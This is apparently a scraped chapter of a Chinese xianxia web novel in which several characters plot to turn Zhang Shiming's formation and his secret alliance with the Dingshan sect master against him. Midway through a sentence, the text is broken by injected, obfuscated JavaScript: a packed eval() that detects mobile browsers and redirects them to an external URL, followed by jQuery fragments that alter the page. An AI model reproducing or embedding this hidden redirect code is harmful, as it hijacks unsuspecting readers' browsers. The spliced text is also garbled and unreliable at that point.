施法布阵是修道人士的头等大事,各路人马都想方设法,出其不意。
由于大多数人的修为功法相差不大,所以关键不在阵法强弱,而在如何通过布局来发挥最大威力。
只要在铺设阵法时发现关键,以弱胜强并非虚无缥缈。
修道门派通常教完阵法基本知识,就会开始传授铺设阵法的秘诀。
阵法威力如何,普罗大众无法一决胜负。
但是怎么用一打出十的效果,他们就颇有研究。毕竟再怎么精修勤练也没有十,所以打出十的效果至关重要。
只要想的好,平平无奇的阵法也能绊倒高深莫测的修道人士。
哪怕毫无胜算,也能阴他一招。
看小说时,齐云鲤就觉得这是异想天开,所以没仔细看相关内容。
可如今她发现就是这样,既然已有借刀杀人的借,那就只剩刀和人。
张师铭的路谁都可以走,就看什么人最先到达终点。
“这个阵法对他有用,对我们也有用。”齐云鲤轻松地说。
这么一说卫池就知道她刚才在笑什么。
张师铭可以借用,他们可以借用,鼎山弟子也能借用。
他要借此施展祸害鼎山的术法,他们就能打出威不可挡的一击。
之前还天壤之别,现在就是公平竞争。
狭路相逢勇者胜就是如此。
卫池不知道她有什么打算:“你要借什么?”
“孙仲礼是不是怎么说都不听?”齐云鲤问。
卫池低下头:“他只是失望,但没有绝望。”
无论怎么说孙仲礼都这样,也不知道究竟怎么回事。
齐云鲤觉得这可能就是小学生思路,只要确定标准答案,过程再稀奇古怪也能接受。毕竟答案已经确定,做错题就只是自己的错。
既然怎么说都不听,那就让他发现答案是错的。
答案错误,解题思路再对也是错的。
“毕竟空口无凭,那就让他见识一下张师铭会干什么。”齐云鲤说。
卫池有点担心:“要等到那个时候?”
“我们也不知道会怎么做,还是让那边亲自表演。”
“会不会太晚了?”
时间紧迫,不过有些事还是不能急,急则生乱。
虽然看起来拖到那时候太晚,但很可能恰到好处。
既然人算不如天算,那就天人合一。
齐云鲤解释:“所以要借力用力。”
“借刀杀人的借?”卫池有些疑惑,她之前因此而笑,似乎与此有关。
齐云鲤点出:“只借不杀。”
“有用吗?”
“反正能让孙仲礼清醒。”齐云鲤很肯定。卫池依然担心:“感觉到时候都要打起来。”
“还有高人出马。”齐云鲤放心地说。
“……什么人?”
感觉是个超出想象的答案,而回答也确实超出所料。
因为齐云鲤说:“鼎山掌门。”
太渊真人神出鬼没,大多数鼎山弟子都不知道他的模样,只是听说很厉害。
有这么个厉害的高人坐镇,谁都要敬鼎山弟子三分。
所以卫池没见过掌门,也知道他相当厉害。
鼎山灭门近百次,他始终没有办法,如果掌门出现或许就能扭转战局。
想到这里,卫池眼里就有一点光。
齐云鲤知道他在期待什么,只好说:“你冷静点,我还没说完。”
鼎山掌门远离俗世,所以众人对他期望太高。
不过有时候期望越大,失望越大。
“张师铭就是太渊真人叫过来的,而且他们在合作。”齐云鲤说出真相。
——鼎山掌门跟鼎山灭门的罪魁祸首合作。
这句话太过离谱,卫池完全不敢相信自己的耳朵。
太渊真人难道还想要鼎山灭门?
卫池有点震惊:“怎么会这样?”
“修为高深就会遇到稀奇古怪的事,青湖和青滔都很奇怪。”齐云鲤没有直接回答,而是从侧面解释说明。
卫池皱起眉头:“他们再奇怪,也不至于干这种事。”
青湖和青滔再奇怪,跟鼎山灭门的方向也不一致。
齐云鲤知道这相当匪夷所思,不过罗白音并没将鼎山掌门视为敌人。
也就是说太渊真人与鼎山灭门方向相反。
还会做出这种事,只能说明他被骗。
“其实最初鼎山灭门的时候,掌门也知道,”齐云鲤简单描述,“他请张师铭过来帮忙,结果却被骗。”
虽然都是猜测,不过基本就是如此。
罪大恶极的只有张师铭,其他人都是他的棋子。
卫池不敢相信:“这种事他也信?”
“一路都顺风顺水,所以不会留意一些事。”齐云鲤解释。
卫池不可思议:“平安无事还有错?”
“没有错,只是想不到还有人九死一生。”
齐云鲤没有直说,不过意有所指。
鼎山灭门近百次,或许这次会截然不同。
不断死去活来的还有卫池,鼎山能平安度过龙骨论战,那么他也能迎来新生。
这种鼓励卫池从未遇到,毕竟一直都在生死边缘,没人留意这种事。
齐云鲤也死过但是又活了,不是反复死去活来,而是死里逃生。
逃过那一劫,似乎脚下只有生路。
一开始说张师铭,然后是孙仲礼,接着提到太渊真人,最后变成卫池。
即使并非刻意说自己,但最终在说九死一生的似乎就是他。
卫池不知道这算安慰还是什么,只能问:“那孙仲礼怎么办?”
“我让九炼洞窟做秘境揭开真相,之前似乎差不多,现在又得继续调整。”
“菩提慧海还是青湖?”卫池很不可思议。
齐云鲤摇头:“不是,是另外五个修道人士。”
“他们还能做秘境?”卫池之前并没留意那几人。
齐云鲤说:“还挺神通广大,不过是幼儿心智。”
“九炼洞窟里打起来的是他们?”卫池问。
“估计还有青湖。”
青湖跟五个修道人士打来打去,十分不可思议。
“估计我跟他说不清,你也说一下。”齐云鲤掏出双筷子往地上一丢。
没过多久树林里就走出一个人,正是菩提慧海。
他看着四周密密麻麻的树丛有点恍惚,盯了很久,似乎想找出什么。
齐云鲤和卫池在池塘边,他就一直停在树下。
——仿佛都能看出什么机密。
“要看下次看吧,有正事跟你说。”齐云鲤无奈开口。
菩提慧海依然没放弃:“这里感觉有什么东西。”
“有东西的在那边。”齐云鲤指着一旁的池水。
玄镜池平静无波,似乎无论四周怎么动荡都如此,正如名字那样。
菩提慧海大为震撼,像是看到什么稀世珍宝。
鼎山充满龙息,万事万物都受到龙息压迫,不可能静止不动。
能平静至此,说明龙息压迫对池水微不足道。
“青湖住在这里,所以她才不愿去九炼洞窟。”齐云鲤解释。
她居然帮青湖说话,菩提慧海更加震惊。他见卫池也在这里,刚才又说有正事,顿时有种不祥之感。
“……你要说什么?”
“情况有点复杂,所以秘境的事还要有所调整。”
九炼洞窟因为秘境吵了三年,好不容易平静下来,结果齐云鲤又要调整。
菩提慧海自然有所不满:“那件事已经定了。”
“面具人是太渊真人叫过来的,秘境不改,他们两个就还是同一战线。”
齐云鲤平静地说出惊天秘密。
这个消息都已经不能用令人震惊来形容。
菩提慧海见卫池略微点头,才确定不是在说笑。
他在九炼洞窟忙了这么多年,结果鼎山这边在挖坑。
“他们两个还合作?”菩提慧海完全不信。
“合作得挺愉快。”
“太渊真人难道还帮面具人打你们?”菩提慧海问出最大担忧。
齐云鲤只是说:“所以要让他去打面具人。”
拆散同伙,然后让他们自相残杀。
这就是齐云鲤的办法。
“你们两个说吧,阵法和秘境的事我也不了解。”
她说完就走到一边,于是卫池便跟菩提慧海说起来。他对秘境很了解,齐云鲤之前一说就知道是怎么回事。
一是将秘境连接通道放在阵法那里,只要打开阵法,孙仲礼就能进入秘境;二是让秘境里的环境要受到鼎山影响,就是并不固定,还能随时调整。
方法一还能接受,方法二就有点难,
菩提慧海说:“如果秘境还能因鼎山环境而变化,那就不普通了吧?”
“他们又不是普通人,自然要干不普通的事。”听到这话齐云鲤就说。
菩提慧海有点为难:“他们以前没做过……”
“那就学了再做,边学边做,距离龙骨论战还有小半个月时间,相信他们能成功完成。”齐云鲤似乎充满信心。
菩提慧海有点担心:“太累了吧?”
“累了不好吗?”齐云鲤问得理所当然,“难道你还想陪他们玩?”
菩提慧海一直为带小孩精疲力竭,这时出现新方法,简直就是天赐良机。
“太好了!他们一定精雕细琢、精益求精。”菩提慧海感慨。
他终于可以光明正大、名正言顺休息一下。
于是他马上就跟卫池详细询问方法二,能有多细就有多细。
阴谋诡异越多,菩提慧海越高兴,他从没想过还能这样消耗那五人的精力。
由于太过兴高采烈,说到最后卫池感觉他都要庆祝起来。
原本是商量机密,结果仿佛要张灯结彩、锣鼓喧天。
甚至他走的时候还送给他们小礼物,每人一个围棋棋子,一黑一白。
菩提慧海说:“道生一,一生二,二生三,三生万物。我们们就是一二三,接下来就是生机勃勃、万物复苏。”
齐云鲤看着手里的黑色棋子问:“谁先落子?”
距离鼎山灭门不到半个月,如果不能抢占先机基本就没有胜算。
“黑色有先手优势。”菩提慧海知道她是什么意思,就赶紧解释。
齐云鲤说:“既然先下手为强,那你快去准备吧。”
菩提慧海听到这话就跑了,似乎刻不容缓。
卫池没想到他高兴成这样,想到齐云鲤在九炼洞窟呆了三年就有点疑惑:“那五个人这么棘手?”
“精力太过旺盛,又没有具体任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351613|193353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
务,所以始终没事找事,”齐云鲤将黑色棋子收好就说,“我再叫下石月观音,情况比较复杂,她也要出力。”
石月观音之前跟卫池详细讨论过龙息乱象的事,这时过来自然能继续,因此他就点头同意。
齐云鲤闭目打坐一阵子,石月观音就在她身后现身。
她跟卫池打完招呼就四处张望,显得十分放松。
那是发自内心的放松,因为不再有威胁。
“此地为青湖的玄镜池,有很多龙息,”齐云鲤解释说明,“如果想多呆一会儿,就耐心讨论商量。”
石月观音担心龙息不够,在这里就彻底无忧。
“你就算瘫痪了,也应该早点叫我过来。”
“我没瘫痪,只是坐一下,”齐云鲤说得很客气,“这里龙息多,但是也贵,比禁地还贵。”
上次石月观音出现在禁地,就是因为那里龙息多。
虽然后续费脑子,但好歹不要命。
石月观音难为情地说:“我又没钱……”
“以物易物就行,我告诉你一件事,你就要说出对应措施。”齐云鲤要求。
“什么事?”
“张师铭是鼎山掌门叫过来的,他们还在合作。”
不同人知道这件事的反应大同小异,毕竟太过惊世骇俗。
鼎山掌门请小说作者过来毁天灭地。
石月观音目瞪口呆,感觉像是听到什么玩笑。
——就算是大魔头也不会有这种选择。
她怀疑自己听错了,但一旁的卫池神色如常,没有任何异样。
似乎那两人联手毁天灭地相当普通。
石月观音不禁问:“……真的假的?”
这都不是有没有仇的问题,而是拯救世界的问题。
“问题很严重,放手一搏吧。”齐云鲤无奈摇头。
卫池趁机说:“龙息乱象需要调整。”
“怎么调整?”石月观音问。
卫池说:“虽然他有优势,但先机在我们这里。”
这个转折令石月观音迷惑,她不知道还有什么胜算。
难道先机还能出其不意,不就是早死一步晚死一步的事?
卫池掏出那张画着阵法的纸:“有这个东西,龙息乱象就可以超出所料。”
阵法图案过于复杂,石月观音看不懂。
但龙息乱象一事之前有相关讨论,不能太乱。
“太乱,鼎山龙息就会出手。”她很为难,就算有用也没什么办法。
毕竟再厉害也赢不了鼎山龙息。
“这是他留下来的,他想借这个阵法使出惊天一击,我们也可以借此使出远超所想的攻击。”齐云鲤知道她的顾虑,便解释说明。
借力用力和借刀杀人反正都是借,就看谁借的好。
听起来像是要去当坏人,石月观音很忐忑:“攻击太大会给鼎山造成损害。”
“所以就看他能不能挡住,”齐云鲤完全不担心,“这次他守城,我们攻城。”
——她完全调转攻守之势。
昔日张师铭要毁天灭地,这次就让他保护鼎山。
“仁义不施而攻守之势异也?”石月观音只能想到。
齐云鲤点评:“他这辈子就没仁义过。”
“那下辈子呢?”
“所以你送他上路吧。”
这说得相当夸张,其实龙骨论战时谁都无法彻底了结此事。不过石月观音听完就信心百倍,顿时不再灰心丧气。
之前她总是充满忧虑,时时刻刻都在担心。
前面的穿书者全都消失殆尽,下一个就是自己。不过还能送小说作者上路,那就是报仇雪恨。穿书后一堆乱七八糟的事,总算能做个了断。
不用再提心吊胆,那就能大开大合。
“龙息乱象可以有很多打法。”石月观音转头说。
卫池知道她会给出详细计划,于是就先介绍起张师铭的阵法。计划要根据阵法调整,这样才能百无一漏。
那边在详细讨论龙息乱象,齐云鲤就坐在轮椅上,朝池水里丢黑色棋子。
既然黑棋有先手优势,那就希望真龙抢占先机。
张师铭不会坐视不管,一定会有很多准备。
不过他在准备,鼎山也在准备,最终结果还没定论。
玄镜池位于鼎山最下方,往上走到离飞泉院最近的院落,就是张师铭如今住的地方,谭明诗也住在那里。
那里离飞泉院最近,因此龙息压迫明显。
不会有鼎山弟子在附近出现,比起那里他们还不如去白鹭坪。
张师铭知道这是为了减少他跟鼎山弟子的接触,罗白音有意如此,他并不担心。毕竟他也不想天天跟鼎山中人见面,只要遇见基本没好事。
相比之下还是跟谭明诗交代情况更重要。
“你在鼎山三年,学得怎么样?”张师铭坐在石凳上问。
谭明诗站在一旁回答:“鼎山地形我已熟记于心。”
熟悉地形便能避开一切阻碍。
“鼎山弟子修为不高,主要是利用护山大阵来对抗外敌,”张师铭说得不屑一顾,“护山大阵一破,他们就束手无策。”
“还有剑阵呢?”谭明诗很好奇。
张师铭评价:“那就是糊弄人的东西,不用操心。”
“护山大阵一破,三渺宗便能直捣黄龙。”他说得千真万确。